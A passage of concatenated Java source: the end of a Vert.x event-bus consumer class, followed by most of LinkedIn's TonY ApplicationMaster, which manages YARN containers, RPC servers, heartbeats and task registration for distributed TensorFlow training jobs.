@Override
public void handle(AsyncResult<Void> event) {
if (event.succeeded()) {
logger.info(String.format("success unregistering consumer %s of %s", consumer.getHandler(), consumer.getPath()));
} else {
logger.info(String.format("failed unregistering consumer %s of %s", consumer.getHandler(), consumer.getPath()));
}
}
});
}
CODEC.extensions().forEach(o -> vertx.eventBus().unregisterDefaultCodec(o.type()));
consumers.clear();
completionHandler.handle(Future.succeededFuture());
});
}
@Override
public int order() {
return MESSAGE_ORDER;
}
protected static class Consumer {
protected String path;
protected String handler;
protected MessageConsumer consumer;
public Consumer(String path, String handler, MessageConsumer consumer) {
this.path = path;
this.handler = handler;
this.consumer = consumer;
}
public String getPath() {
return path;
}
public String getHandler() {
return handler;
}
public MessageConsumer getConsumer() {
return consumer;
}
}
}
|
/**
* Copyright 2018 LinkedIn Corporation. All rights reserved. Licensed under the BSD-2 Clause license.
* See LICENSE in the project root for license information.
*/
package com.linkedin.tony;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.base.Preconditions;
import com.google.common.collect.ImmutableList;
import com.linkedin.tony.events.TaskFinished;
import com.linkedin.tony.events.TaskStarted;
import com.linkedin.tony.models.JobMetadata;
import com.linkedin.tony.events.ApplicationFinished;
import com.linkedin.tony.events.ApplicationInited;
import com.linkedin.tony.events.Event;
import com.linkedin.tony.events.EventHandler;
import com.linkedin.tony.events.EventType;
import com.linkedin.tony.rpc.ApplicationRpc;
import com.linkedin.tony.rpc.ApplicationRpcServer;
import com.linkedin.tony.rpc.MetricsRpc;
import com.linkedin.tony.rpc.TaskInfo;
import com.linkedin.tony.rpc.impl.MetricsRpcServer;
import com.linkedin.tony.rpc.impl.TaskStatus;
import com.linkedin.tony.tensorflow.TonySession;
import com.linkedin.tony.tensorflow.TonySession.TonyTask;
import com.linkedin.tony.util.Utils;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.SocketException;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.stream.Collectors;
import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.GnuParser;
import org.apache.commons.cli.Options;
import org.apache.commons.cli.ParseException;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.CommonConfigurationKeysPublic;
import org.apache.hadoop.fs.FSDataOutputStream;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.DataOutputBuffer;
import org.apache.hadoop.io.Text;
import org.apache.hadoop.ipc.RPC;
import org.apache.hadoop.security.Credentials;
import org.apache.hadoop.security.UserGroupInformation;
import org.apache.hadoop.security.token.Token;
import org.apache.hadoop.security.token.TokenIdentifier;
import org.apache.hadoop.yarn.api.ApplicationConstants;
import org.apache.hadoop.yarn.api.protocolrecords.RegisterApplicationMasterResponse;
import org.apache.hadoop.yarn.api.records.ApplicationAccessType;
import org.apache.hadoop.yarn.api.records.ApplicationAttemptId;
import org.apache.hadoop.yarn.api.records.Container;
import org.apache.hadoop.yarn.api.records.ContainerExitStatus;
import org.apache.hadoop.yarn.api.records.ContainerId;
import org.apache.hadoop.yarn.api.records.ContainerLaunchContext;
import org.apache.hadoop.yarn.api.records.ContainerStatus;
import org.apache.hadoop.yarn.api.records.FinalApplicationStatus;
import org.apache.hadoop.yarn.api.records.LocalResource;
import org.apache.hadoop.yarn.api.records.NodeReport;
import org.apache.hadoop.yarn.client.api.AMRMClient.ContainerRequest;
import org.apache.hadoop.yarn.client.api.async.AMRMClientAsync;
import org.apache.hadoop.yarn.client.api.async.NMClientAsync;
import org.apache.hadoop.yarn.client.api.async.impl.NMClientAsyncImpl;
import org.apache.hadoop.yarn.conf.YarnConfiguration;
import org.apache.hadoop.yarn.exceptions.YarnException;
import org.apache.hadoop.yarn.security.client.ClientToAMTokenIdentifier;
import org.apache.hadoop.yarn.security.client.ClientToAMTokenSecretManager;
import org.apache.hadoop.yarn.util.AbstractLivelinessMonitor;
import org.apache.hadoop.yarn.util.UTCClock;
public class ApplicationMaster {
private static final Log LOG = LogFactory.getLog(ApplicationMaster.class);
/**
* Metadata + History Server related variables
*/
private String appIdString;
private FileSystem resourceFs; // FileSystem used to access resources for the job, like jars and zips
private FileSystem historyFs; // FileSystem used to write history-related files like config and events.
// In some HDFS setups, operators may wish to write history files to a different
// NameNode instance than data and other files.
private String tonyHistoryFolder;
private Path jobDir = null;
private String user = null;
private BlockingQueue<Event> eventQueue = new LinkedBlockingQueue<>();
// Container info
private int amRetryCount;
private long workerTimeout;
private String hdfsClasspath;
private int amPort;
private ByteBuffer allTokens;
private Map<String, LocalResource> localResources = new ConcurrentHashMap<>();
private Configuration tonyConf = new Configuration(false);
private ContainerId containerId;
/** The environment set up for the TaskExecutor **/
private Map<String, String> containerEnv = new ConcurrentHashMap<>();
/** The environment passed from users to the training job. Note this is very different from the above. **/
private Map<String, String> shellEnv = new HashMap<>();
/** Map of session to containers */
private Map<Integer, List<Container>> sessionContainersMap = new ConcurrentHashMap<>();
private Map<String, Map<String, LocalResource>> jobTypeToContainerResources = new HashMap<>();
/** Node manager delegate **/
private NMClientAsync nmClientAsync;
private ExecutorService containersLauncherThreadPool = Executors.newCachedThreadPool();
/** Resource manager **/
private AMRMClientAsync<ContainerRequest> amRMClient;
/** Tony session **/
private TonySession session = new TonySession(); // Create a dummy session for single node training.
private TonySession.Builder sessionBuilder;
/** Configuration **/
private Configuration yarnConf;
private Configuration hdfsConf;
/** Cluster spec **/
private ApplicationRpcServer applicationRpcServer;
/** Set to false when testing locally / running in insecure cluster **/
private boolean secureMode;
/** Single node training **/
private boolean singleNode;
private boolean preprocessFinished = false;
private int preprocessExitCode = 0;
private String proxyUrl;
/** Preprocessing job **/
private boolean enablePreprocessing = false;
/** Untracked jobs **/
private boolean untrackedTaskFailed = false;
/** Lifecycle control **/
private long appTimeout;
/** We use this to give the client a chance to get task updates before the AM shuts down. */
private volatile boolean clientSignalToStop = false; // client signal to stop
/** Metrics and events **/
private MetricsRpcServer metricsRpcServer;
private EventHandler eventHandler;
/** HeartBeat monitor **/
private final AbstractLivelinessMonitor<TonyTask> hbMonitor;
private int hbInterval;
private int maxConsecutiveHBMiss;
private volatile boolean taskHasMissesHB = false;
private Thread mainThread;
/** Task Scheduler **/
private TaskScheduler scheduler;
private ApplicationMaster() {
hdfsConf = new Configuration(false);
yarnConf = new Configuration(false);
hbMonitor = new AbstractLivelinessMonitor<TonyTask>("Tony Task liveliness Monitor", new UTCClock()) {
@Override
protected void expire(TonyTask task) {
onTaskDeemedDead(task);
}
@Override
protected void serviceStart() throws Exception {
// setMonitorInterval(int) changed to setMonitorInterval(long) in Hadoop 2.9,
// so to support both cases, we use reflection
int monitorInterval = hbInterval * 3;
for (Method m : this.getClass().getDeclaredMethods()) {
if (m.getName().equals(Constants.SET_MONITOR_INTERVAL_METHOD)) {
m.invoke(this, monitorInterval);
break;
}
}
setExpireInterval(hbInterval * Math.max(3, maxConsecutiveHBMiss)); // Be at least == monitoring interval
super.serviceStart();
}
};
}
/**
* Parse command line options and initialize ApplicationMaster
* @return whether the initialization is successful or not.
*/
private boolean init(String[] args) {
tonyConf.addResource(new Path(Constants.TONY_FINAL_XML));
Utils.initYarnConf(yarnConf);
Utils.initHdfsConf(hdfsConf);
try {
resourceFs = FileSystem.get(hdfsConf);
} catch (IOException e) {
LOG.error("Failed to create FileSystem object", e);
return false;
}
hbMonitor.init(tonyConf);
Options opts = Utils.getCommonOptions();
CommandLine cliParser;
try {
cliParser = new GnuParser().parse(opts, args);
} catch (ParseException e) {
LOG.error("Got exception while parsing options", e);
return false;
}
Map<String, String> envs = System.getenv();
String[] shellEnvs = tonyConf.getStrings(TonyConfigurationKeys.EXECUTION_ENV);
shellEnv = Utils.parseKeyValue(shellEnvs);
String[] containerEnvs = tonyConf.getStrings(TonyConfigurationKeys.CONTAINER_LAUNCH_ENV);
containerEnv.putAll(Utils.parseKeyValue(containerEnvs));
appTimeout = tonyConf.getInt(TonyConfigurationKeys.APPLICATION_TIMEOUT,
TonyConfigurationKeys.DEFAULT_APPLICATION_TIMEOUT);
workerTimeout = tonyConf.getInt(TonyConfigurationKeys.WORKER_TIMEOUT,
TonyConfigurationKeys.DEFAULT_WORKER_TIMEOUT);
hdfsClasspath = cliParser.getOptionValue("hdfs_classpath");
amRetryCount = tonyConf.getInt(TonyConfigurationKeys.AM_RETRY_COUNT,
TonyConfigurationKeys.DEFAULT_AM_RETRY_COUNT);
singleNode = Utils.getNumTotalTasks(tonyConf) == 0;
secureMode = tonyConf.getBoolean(TonyConfigurationKeys.SECURITY_ENABLED,
TonyConfigurationKeys.DEFAULT_SECURITY_ENABLED);
enablePreprocessing = tonyConf.getBoolean(TonyConfigurationKeys.ENABLE_PREPROCESSING_JOB,
TonyConfigurationKeys.DEFAULT_ENABLE_PREPROCESSING_JOB);
containerId = ContainerId.fromString(envs.get(ApplicationConstants.Environment.CONTAINER_ID.name()));
appIdString = containerId.getApplicationAttemptId().getApplicationId().toString();
hbInterval = tonyConf.getInt(TonyConfigurationKeys.TASK_HEARTBEAT_INTERVAL_MS,
TonyConfigurationKeys.DEFAULT_TASK_HEARTBEAT_INTERVAL_MS);
maxConsecutiveHBMiss = tonyConf.getInt(TonyConfigurationKeys.TASK_MAX_MISSED_HEARTBEATS,
TonyConfigurationKeys.DEFAULT_TASK_MAX_MISSED_HEARTBEATS);
tonyHistoryFolder = tonyConf.get(TonyConfigurationKeys.TONY_HISTORY_LOCATION,
TonyConfigurationKeys.DEFAULT_TONY_HISTORY_LOCATION);
try {
historyFs = new Path(tonyHistoryFolder).getFileSystem(hdfsConf);
} catch (IOException e) {
LOG.error("Failed to create history FileSystem object", e);
return false;
}
eventHandler = new EventHandler(historyFs, eventQueue);
try {
user = UserGroupInformation.getCurrentUser().getShortUserName();
} catch (IOException e) {
LOG.warn("Failed to fetch users", e);
}
return true;
}
private void buildTonySession() {
TonySession.Builder builder = new TonySession.Builder()
.setTonyConf(tonyConf)
.setTaskExecutorJVMArgs(tonyConf.get(TonyConfigurationKeys.TASK_EXECUTOR_JVM_OPTS,
TonyConfigurationKeys.DEFAULT_TASK_EXECUTOR_JVM_OPTS));
sessionBuilder = builder;
session = builder.build();
}
/**
* Entry point of ApplicationMaster
* The workflow of a training job in AM
* prepare -> start -> failed -> reset -> retry if amRetryCount > 0 otherwise fail the job.
* -> succeeded -> stop -> job succeeded
* @param args the args from user inputs
*/
public static void main(String[] args) throws IOException {
ApplicationMaster am = new ApplicationMaster();
boolean succeeded = am.run(args);
if (succeeded) {
LOG.info("Application Master completed successfully. Exiting");
System.exit(0);
} else {
LOG.info("Application Master failed. Exiting");
System.exit(-1);
}
}
private boolean run(String[] args) throws IOException {
long started = System.currentTimeMillis();
if (!init(args)) {
return false;
}
if (!prepare()) {
return false;
}
mainThread = Thread.currentThread();
// Set up the builder with parameters that don't change
JobMetadata.Builder metadataBuilder = new JobMetadata.Builder()
.setId(appIdString)
.setConf(yarnConf)
.setStarted(started)
.setUser(user);
JobMetadata metadata = metadataBuilder.build();
eventHandler.setUpThread(jobDir, metadata);
eventHandler.start();
boolean succeeded;
do {
// Crash AM on purpose during AM crash tests.
String shouldCrash = System.getenv(Constants.TEST_AM_CRASH);
if (shouldCrash != null && shouldCrash.equals("true")) {
LOG.fatal("Error running ApplicationMaster !!");
return false;
}
try {
eventHandler.emitEvent(new Event(EventType.APPLICATION_INITED,
new ApplicationInited(appIdString, Utils.getNumTotalTasks(tonyConf), Utils.getCurrentHostName(), this.containerId.toString()),
System.currentTimeMillis()));
start();
} catch (Exception e) {
LOG.error("Exception when we're starting TonyAM", e);
return false;
}
succeeded = monitor();
if (succeeded || amRetryCount == 0) {
LOG.info("Result: " + succeeded + ", retry count: " + amRetryCount);
break;
}
// Prepare for retryCount.
reset();
LOG.info("Retrying, remaining retry count" + amRetryCount);
amRetryCount -= 1;
} while (!singleNode); // We don't retry on single node training.
// Wait for the worker nodes to finish (The interval between registering the exit code to final exit)
stop();
long completed = System.currentTimeMillis();
printTaskUrls();
eventHandler.emitEvent(new Event(EventType.APPLICATION_FINISHED,
new ApplicationFinished(appIdString, session.getNumCompletedTasks(),
session.getNumFailedTasks(), new ArrayList<>()),
System.currentTimeMillis()));
metadata = metadataBuilder
.setCompleted(completed)
.setStatus(succeeded ? Constants.SUCCEEDED : Constants.FAILED)
.build();
eventHandler.stop(jobDir, metadata);
return succeeded;
}
/**
* Prepare the application master. This part is shared across different retries.
*/
private boolean prepare() throws IOException {
LOG.info("Preparing application master..");
NMCallbackHandler containerListener = createNMCallbackHandler();
nmClientAsync = new NMClientAsyncImpl(containerListener);
nmClientAsync.init(yarnConf);
nmClientAsync.start();
// Setup application RPC server
String amHostname = Utils.getCurrentHostName();
applicationRpcServer = setupRPCService(amHostname);
containerEnv.put(Constants.AM_HOST, amHostname);
containerEnv.put(Constants.AM_PORT, Integer.toString(amPort));
// Setup metrics RPC server.
ServerSocket rpcSocket = new ServerSocket(0);
int metricsRpcPort = rpcSocket.getLocalPort();
rpcSocket.close();
metricsRpcServer = new MetricsRpcServer();
RPC.Builder metricsServerBuilder = new RPC.Builder(yarnConf).setProtocol(MetricsRpc.class)
.setInstance(metricsRpcServer).setPort(metricsRpcPort);
containerEnv.put(Constants.METRICS_RPC_PORT, Integer.toString(metricsRpcPort));
// Init AMRMClient
AMRMClientAsync.CallbackHandler allocListener = new RMCallbackHandler();
amRMClient = AMRMClientAsync.createAMRMClientAsync(1000, allocListener);
amRMClient.init(yarnConf);
amRMClient.start();
RegisterApplicationMasterResponse response;
String hostNameOrIpFromTokenConf;
String amHostPort;
try {
hostNameOrIpFromTokenConf = Utils.getHostNameOrIpFromTokenConf(yarnConf);
response = amRMClient.registerApplicationMaster(amHostname, amPort, null);
amHostPort = hostNameOrIpFromTokenConf + ":" + amPort;
} catch (YarnException | SocketException e) {
LOG.error("Exception while preparing AM", e);
return false;
}
if (secureMode) {
// Set up secret manager for RPC servers
ApplicationAttemptId appAttemptID = containerId.getApplicationAttemptId();
ClientToAMTokenIdentifier identifier = new ClientToAMTokenIdentifier(appAttemptID, user);
byte[] secret = response.getClientToAMTokenMasterKey().array();
ClientToAMTokenSecretManager secretManager = new ClientToAMTokenSecretManager(appAttemptID, secret);
applicationRpcServer.setSecretManager(secretManager);
metricsServerBuilder.setSecretManager(secretManager);
// create token for application RPC server
Token<? extends TokenIdentifier> tensorflowClusterToken = new Token<>(identifier, secretManager);
tensorflowClusterToken.setService(new Text(amHostPort));
UserGroupInformation.getCurrentUser().addToken(tensorflowClusterToken);
// create token for metrics RPC server
Token<? extends TokenIdentifier> metricsToken = new Token<>(identifier, secretManager);
metricsToken.setService(new Text(hostNameOrIpFromTokenConf + ":" + metricsRpcPort));
UserGroupInformation.getCurrentUser().addToken(metricsToken);
setupContainerCredentials();
}
try {
setupJobDir(historyFs, tonyHistoryFolder, appIdString);
writeConfigFile(historyFs, jobDir);
} catch (IOException e) {
LOG.error("Error while setting up history files", e);
return false;
}
LOG.info("Starting application RPC server at: " + amHostPort);
applicationRpcServer.start();
LOG.info("Starting metrics RPC server at: " + amHostname + ":" + metricsRpcPort);
RPC.Server metricsServer = metricsServerBuilder.build();
if (yarnConf.getBoolean(CommonConfigurationKeysPublic.HADOOP_SECURITY_AUTHORIZATION, false)) {
metricsServer.refreshServiceAclWithLoadedConfiguration(yarnConf, new TonyPolicyProvider());
}
metricsServer.start();
hbMonitor.start();
return true;
}
/**
* Create job directory under intermediate folder.
* @param fs FileSystem object.
* @param histFolder History folder location string.
* @param appId Application ID string.
*/
private void setupJobDir(FileSystem fs, String histFolder, String appId) {
Path interm = new Path(histFolder, Constants.TONY_HISTORY_INTERMEDIATE);
try {
if (!fs.exists(interm)) {
LOG.error("Intermediate directory doesn't exist [" + interm.toString() + "]");
return;
}
} catch (IOException e) {
LOG.error("Failed to check intermediate directory existence", e);
return;
}
jobDir = new Path(interm, appId);
// set to `tony` group by default
// due to inherited permission from parent folder
Utils.createDirIfNotExists(fs, jobDir, Constants.PERM770);
}
/**
* Generate config file in {@code jobDir} folder.
* @param fs FileSystem object.
* @param jobDir Path object of job directory (store all the files related to the job).
* @throws IOException when failed to write config.xml to {@code jobDir}
*/
private void writeConfigFile(FileSystem fs, Path jobDir) throws IOException {
if (jobDir == null) {
return;
}
Path configFile = new Path(jobDir, Constants.TONY_FINAL_XML);
try (FSDataOutputStream out = fs.create(configFile)) {
tonyConf.writeXml(out);
} catch (IOException e) {
throw new IOException("Failed to write config to XML", e);
}
}
/**
* This method start the training job. It also does the training preprocessing in this function as well
* preprocessing job is used to abstract out common computation in each worker to a single place, however,
* we do plan to move the preprocessing job to a worker node in the future to reduce the complexity of AM.
* @throws IOException exception during HDFS file operations.
* @throws InterruptedException during Thread.sleep.
*/
private void start() throws Exception {
int exitCode = 0;
// Perform the preprocess job.
if (enablePreprocessing || singleNode) {
exitCode = doPreprocessingJob();
}
// Early exit for single node training.
if (singleNode) {
if (exitCode != 0) {
LOG.info("Single node job exits with " + exitCode + ", exiting.");
session.setFinalStatus(FinalApplicationStatus.FAILED, "Single node training failed..");
} else {
LOG.info("Single node job exits with " + exitCode + ", exiting.");
session.setFinalStatus(FinalApplicationStatus.SUCCEEDED, "Single node job succeeded.");
}
return;
}
if (exitCode != 0) {
return;
}
buildTonySession();
session.setResources(yarnConf, hdfsConf, localResources, containerEnv, hdfsClasspath);
scheduler = new TaskScheduler(session, amRMClient, localResources, resourceFs, tonyConf, jobTypeToContainerResources);
scheduler.scheduleTasks();
}
// Reset state to prepare for retryCount.
private void reset() {
List<Container> containers = sessionContainersMap.get(session.sessionId);
for (Container container : containers) {
nmClientAsync.stopContainerAsync(container.getId(), container.getNodeId());
LOG.info("Stop a task in container: containerId = " + container.getId() + ", containerNode = "
+ container.getNodeId().getHost());
}
// Reset session
session = sessionBuilder.build();
applicationRpcServer.reset();
session.sessionId += 1;
}
/**
* Monitor the TensorFlow training job.
* @return if the tensorflow job finishes successfully.
*/
private boolean monitor() {
int attempt = 0;
containerEnv.put(Constants.ATTEMPT_NUMBER, String.valueOf(attempt));
long expireTime = appTimeout == 0 ? Long.MAX_VALUE : System.currentTimeMillis() + appTimeout;
int counter = 0;
while (true) {
counter += 1;
// Checking timeout
if (System.currentTimeMillis() > expireTime) {
LOG.error("Application times out.");
break;
}
// Check if client signals we should exit.
if (clientSignalToStop) {
LOG.info("Client signals AM to exit.");
break;
}
if (session.isTrainingFinished()) {
LOG.info("Training has finished.");
break;
}
if (preprocessExitCode != 0) {
LOG.error("Preprocess failed with exit code: " + preprocessExitCode);
break;
}
if (singleNode && preprocessFinished) {
LOG.info("Single node training finished with exit code: " + preprocessExitCode);
break;
}
if (this.taskHasMissesHB) {
LOG.error("Application failed due to missed heartbeats");
break;
}
if (this.untrackedTaskFailed) {
LOG.error("One of the untracked tasks has failed with a non-zero exit code.");
break;
}
if (!this.scheduler.dependencyCheckPassed) {
LOG.info("Terminating application due to failure to load dependency graph");
break;
}
int numTotalTrackedTasks = session.getTotalTrackedTasks();
if (numTotalTrackedTasks > 0) {
int numCompletedTrackedTasks = session.getNumCompletedTrackedTasks();
if (numCompletedTrackedTasks == numTotalTrackedTasks) {
Utils.printCompletedTrackedTasks(numCompletedTrackedTasks, numTotalTrackedTasks);
break;
}
// Reduce logging frequency to every 100s.
if (counter % 20 == 1) {
Utils.printCompletedTrackedTasks(numCompletedTrackedTasks, numTotalTrackedTasks);
}
}
// Pause before refresh job status
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
LOG.error("Thread interrupted", e);
}
}
session.updateSessionStatus();
FinalApplicationStatus status = session.getFinalStatus();
String appMessage = session.getFinalMessage();
if (status != FinalApplicationStatus.SUCCEEDED) {
LOG.info("Tony session failed: " + appMessage);
}
return status == FinalApplicationStatus.SUCCEEDED;
}
/**
* Returns the tasks whose containers have launched but not called {@link ApplicationRpc#registerWorkerSpec} yet.
*/
private Set<TonyTask> getUnregisteredTasks() {
return session.getTonyTasks().values().stream().flatMap(Arrays::stream)
.filter(task -> task != null && task.getHost() == null)
.collect(Collectors.toSet());
}
private void stop() {
stopRunningContainers();
FinalApplicationStatus status = session.getFinalStatus();
String appMessage = session.getFinalMessage();
try {
amRMClient.unregisterApplicationMaster(status, appMessage, null);
} catch (YarnException | IOException e) {
LOG.error("Failed to unregister application", e);
}
nmClientAsync.stop();
amRMClient.stop();
// Poll until TonyClient signals we should exit
boolean result = Utils.poll(() -> clientSignalToStop, 1, 15);
if (!result) {
LOG.warn("TonyClient didn't signal Tony AM to stop.");
}
}
/**
* Stops any remaining running containers and gives them time to finish so we can collect their task metrics and emit
* a TASK_FINISHED event.
*/
private void stopRunningContainers() {
List<Container> allContainers = sessionContainersMap.get(session.sessionId);
if (allContainers != null) {
for (Container container : allContainers) {
TonyTask task = session.getTask(container.getId());
if (task != null && !task.isCompleted()) {
nmClientAsync.stopContainerAsync(container.getId(), container.getNodeId());
}
}
}
// Give 15 seconds for containers to exit
boolean result = Utils.poll(() -> session.getNumCompletedTasks() == session.getTotalTasks(), 1, 15);
if (!result) {
LOG.warn("Not all containers were stopped or completed. Only " + session.getNumCompletedTasks() + " out of "
+ session.getTotalTasks() + " finished.");
}
}
// Run the preprocessing job and set up the common env variables for worker jobs.
private int doPreprocessingJob() throws Exception {
Utils.extractResources();
HashMap<String, String> extraEnv = new HashMap<>(shellEnv);
if (singleNode) {
ServerSocket tbSocket = new ServerSocket(0);
int tbPort = tbSocket.getLocalPort();
extraEnv.put(Constants.TB_PORT, String.valueOf(tbPort));
String tbUrl = Utils.getCurrentHostName() + ":" + tbPort;
proxyUrl = Utils.constructUrl(tbUrl);
LOG.info("Registering TensorBoard url for single node training: " + tbUrl);
registerTensorBoardUrlToRM(tbUrl);
tbSocket.close();
}
LOG.info("Start python preprocessing");
extraEnv.put(Constants.PREPROCESSING_JOB, "true");
/*
* YARN sets $HOME to /user/yarn which users don't have access to write there.
* Unfortunately, some services like Jupyter Notebook wants to write stuff there,
* set it to user.dir (root of this container's address).
*/
extraEnv.put("HOME", System.getProperty("user.dir"));
String taskCommand = tonyConf.get(TonyConfigurationKeys.getExecuteCommandKey(Constants.AM_NAME),
tonyConf.get(TonyConfigurationKeys.getContainerExecuteCommandKey()));
LOG.info("Executing command: " + taskCommand);
int exitCode = Utils.executeShell(taskCommand, workerTimeout, extraEnv);
preprocessExitCode = exitCode;
preprocessFinished = true;
// Short circuit if preprocessing job fails.
if (exitCode != 0) {
LOG.error("Preprocess job exits with " + exitCode + ", exiting.");
session.setFinalStatus(FinalApplicationStatus.FAILED, "Preprocessing job failed.");
return exitCode;
}
try (BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(
System.getProperty(YarnConfiguration.YARN_APP_CONTAINER_LOG_DIR)
+ File.separatorChar + Constants.AM_STDOUT_FILENAME), StandardCharsets.UTF_8))) {
String line;
while ((line = reader.readLine()) != null) {
if (line.contains("Model parameters: ")) {
String params = line.substring(line.indexOf("Model parameters: ") + "Model parameters: ".length());
// Add serialized params to env
containerEnv.put(Constants.TASK_PARAM_KEY, params);
break;
}
}
}
return exitCode;
}
private void printTaskUrls() {
if (session != null) {
session.getTonyTasks()
.values()
.stream()
.flatMap(Arrays::stream)
.forEach(task -> {
if (task != null) {
Utils.printTaskUrl(task.getTaskInfo(), LOG);
}
});
}
}
private ApplicationRpcServer setupRPCService(String hostname) throws IOException {
ApplicationRpcServer rpcServer = new ApplicationRpcServer(hostname, new RpcForClient(), yarnConf);
amPort = rpcServer.getRpcPort();
return rpcServer;
}
private final class RpcForClient implements ApplicationRpc {
private static final long REGISTRATION_STATUS_INTERVAL_MS = 15 * 1000;
private long registrationTimeoutMs = tonyConf.getInt(TonyConfigurationKeys.CONTAINER_ALLOCATION_TIMEOUT,
TonyConfigurationKeys.DEFAULT_CONTAINER_ALLOCATION_TIMEOUT);
private Set<String> registeredTasks = new HashSet<>();
private long lastRegisterWorkerTime = System.currentTimeMillis();
@Override
public void reset() {
registeredTasks = new HashSet<>();
}
@Override
public Set<TaskInfo> getTaskInfos() {
// Special handling for NotebookSubmitter.
if (singleNode && proxyUrl != null) {
HashSet<TaskInfo> additionalTasks = new HashSet<>();
additionalTasks.add(new TaskInfo(Constants.DRIVER_JOB_NAME, "0", Utils.constructContainerUrl(
Utils.getCurrentHostName() + ":"
+ System.getenv(ApplicationConstants.Environment.NM_HTTP_PORT.name()), containerId)));
additionalTasks.add(new TaskInfo(Constants.NOTEBOOK_JOB_NAME, "0", proxyUrl));
return additionalTasks;
}
if (!singleNode && session != null && session.allTasksScheduled()) {
return session.getTonyTasks().values().stream()
.flatMap(tasks -> Arrays.stream(tasks).map(TonyTask::getTaskInfo))
.collect(Collectors.toSet());
}
return Collections.emptySet();
}
@Override
public String getClusterSpec() throws IOException {
ObjectMapper objectMapper = new ObjectMapper();
return objectMapper.writeValueAsString(session.getClusterSpec());
}
@Override
public void taskExecutorHeartbeat(String taskId) {
TonyTask task = session.getTask(taskId);
if (task != null) {
LOG.debug("[" + taskId + "] Received HB Ping !!");
hbMonitor.receivedPing(task);
} else {
LOG.warn("[" + taskId + "] Not registered for heartbeat monitoring !!");
}
}
@Override
public String registerWorkerSpec(String taskId, String spec) throws IOException {
TonyTask task = session.getTask(taskId);
if (task.getHost() == null) {
LOG.info("Received cluster spec registration request from task " + taskId + " with spec: " + spec);
task.setHostPort(spec);
registeredTasks.add(taskId);
// HB Registration should happen only after worker registration..
// The Task registration timeout will take care of rescheduling the task
// on another node..
LOG.info("[" + taskId + "] Received Registration for HB !!");
hbMonitor.register(task);
killChiefWorkerIfTesting(taskId);
}
// Return null until all expected tasks have registered
int numExpectedTasks = session.getNumExpectedTasks();
if (registeredTasks.size() == numExpectedTasks) {
LOG.info("All " + numExpectedTasks + " expected tasks registered.");
return getClusterSpec();
} else {
// Periodically print a list of all tasks we are still awaiting registration from.
if (System.currentTimeMillis() - lastRegisterWorkerTime > REGISTRATION_STATUS_INTERVAL_MS) {
Set<TonyTask> unregisteredTasks = getUnregisteredTasks();
LOG.info(String.format("Received registrations from %d tasks, awaiting registration from %d tasks.",
registeredTasks.size(), numExpectedTasks - registeredTasks.size()));
unregisteredTasks.forEach(t -> {
// Stop application when timeout
if (registrationTimeoutMs > 0 && System.currentTimeMillis() - t.getStartTime() > registrationTimeoutMs) {
String errorMsg = String.format("Stopping AM for task [%s:%s] registration timeout: "
+ "allocated container is %s on host %s",
t.getJobName(), t.getTaskIndex(),
(t.getContainer() != null ? t.getContainer().getId().toString() : "none"),
(t.getContainer() != null ? t.getContainer().getNodeId().getHost() : "none"));
LOG.error(errorMsg);
session.setFinalStatus(FinalApplicationStatus.FAILED, errorMsg);
stop();
} else {
LOG.info(String.format("Awaiting registration from task %s %s in %s on host %s",
t.getJobName(), t.getTaskIndex(),
(t.getContainer() != null ? t.getContainer().getId().toString() : "none"),
(t.getContainer() != null ? t.getContainer().getNodeId().getHost() : "none")));
}
});
lastRegisterWorkerTime = System.currentTimeMillis();
}
return null;
}
}
/**
* This method was used to workaround an issue that the Python script finished while the container failed to
* close due to GPU allocation issue, which doesn't exist anymore.
*
* Discussion: A benefit of decoupling registering execution result from container exit status is that we can decouple
* tony from a specific resource manager's callback logic.
* However, this easily introduces lots of bugs since we'd have 3 places to handle failures - register call, container
* complete callback and heartbeat.
* To make things easier, we decide to go back and piggyback on container completion to dictate the execution result
* of a task. However, we use this method to unregister a completed task from the heartbeat monitor to avoid a race
* condition where the container complete callback is delayed, too many heartbeats are missed, and the task is
* marked as failed.
*/
@Override
public String registerExecutionResult(int exitCode, String jobName, String jobIndex, String sessionId) {
LOG.info("Received result registration request with exit code " + exitCode + " from " + jobName + " " + jobIndex);
// Unregister task after completion..
// Since in the case of asynchronous exec, containers might
// end at different times..
TonyTask task = session.getTask(jobName + ":" + jobIndex);
if (task != null) {
LOG.info("Unregistering task [" + task.getId() + "] from Heartbeat monitor..");
hbMonitor.unregister(task);
} else {
LOG.warn("Task " + jobName + " " + jobIndex + " was null!");
}
return "RECEIVED";
}
@Override
public String registerTensorBoardUrl(String spec) throws Exception {
LOG.info("Got request to update TensorBoard URL: " + spec);
return registerTensorBoardUrlToRM(spec);
}
@Override
public void finishApplication() {
LOG.info("Client signals AM to finish application.");
clientSignalToStop = true;
}
}
private String registerTensorBoardUrlToRM(String spec) throws Exception {
if (spec != null && appIdString != null) {
try {
// Post YARN-7974 or Hadoop 3.1.2 release
// amRMClient.updateTrackingUrl(spec);
@SuppressWarnings("JavaReflectionMemberAccess")
Method method = AMRMClientAsync.class.getMethod("updateTrackingUrl", String.class);
method.invoke(amRMClient, spec);
} catch (NoSuchMethodException nsme) {
LOG.warn("This Hadoop version doesn't have the YARN-7974 patch, TonY won't register TensorBoard URL with"
+ "application's tracking URL");
}
return "SUCCEEDED";
} else {
return "FAILED";
}
}
// Set up credentials for the containers.
private void setupContainerCredentials() throws IOException {
Credentials credentials = UserGroupInformation.getCurrentUser().getCredentials();
DataOutputBuffer dob = new DataOutputBuffer();
credentials.writeTokenStorageToStream(dob);
allTokens = ByteBuffer.wrap(dob.getData(), 0, dob.getLength());
String submitterUserName = System.getenv(ApplicationConstants.Environment.USER.name());
